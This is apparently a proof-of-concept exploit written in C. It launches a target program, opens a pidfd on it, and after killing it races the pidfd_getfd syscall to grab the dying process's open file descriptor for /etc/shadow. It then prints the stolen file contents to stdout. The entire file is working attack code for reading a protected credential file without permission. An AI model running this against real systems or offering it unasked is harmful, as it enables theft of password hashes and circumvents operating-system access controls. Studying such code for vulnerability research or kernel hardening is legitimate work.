/* Same primitive against the controlled target. Alive -> EPERM,
 * after SIGKILL -> /etc/shadow fd is ours. */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>

#ifndef __NR_pidfd_open
#define __NR_pidfd_open  434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif

int main(int argc, char **argv)
{
	if (argc < 2) { fprintf(stderr, "usage: %s /path/to/vuln_target\n", argv[0]); return 1; }

	pid_t c = fork();
	if (c == 0) { execl(argv[1], argv[1], (char *)NULL); _exit(127); }
	usleep(200 * 1000);

	int pfd = syscall(__NR_pidfd_open, c, 0);
	if (pfd < 0) { perror("pidfd_open"); kill(c, SIGKILL); return 1; }

	for (int i = 3; i < 10; i++) {
		int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
		if (s >= 0) { close(s); continue; }
		if (errno == EPERM) {
			fprintf(stderr, "alive: EPERM on fd %d\n", i);
			break;
		}
	}

	kill(c, SIGKILL);

	int got = -1;
	for (int a = 0; a < 20000 && got < 0; a++) {
		for (int i = 3; i < 16; i++) {
			int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
			if (s < 0) continue;
			char p[256] = {0}, lk[64];
			snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
			if (readlink(lk, p, sizeof(p) - 1) > 0 && strstr(p, "/etc/shadow")) {
				fprintf(stderr, "fd %d -> %s (try %d)\n", i, p, a);
				got = s;
				break;
			}
			close(s);
		}
	}

	if (got >= 0) {
		char buf[4096];
		lseek(got, 0, SEEK_SET);
		ssize_t n = read(got, buf, sizeof(buf) - 1);
		if (n > 0) { buf[n] = 0; fputs(buf, stdout); }
		close(got);
	}

	close(pfd);
	waitpid(c, NULL, 0);
	return got >= 0 ? 0 : 1;
}
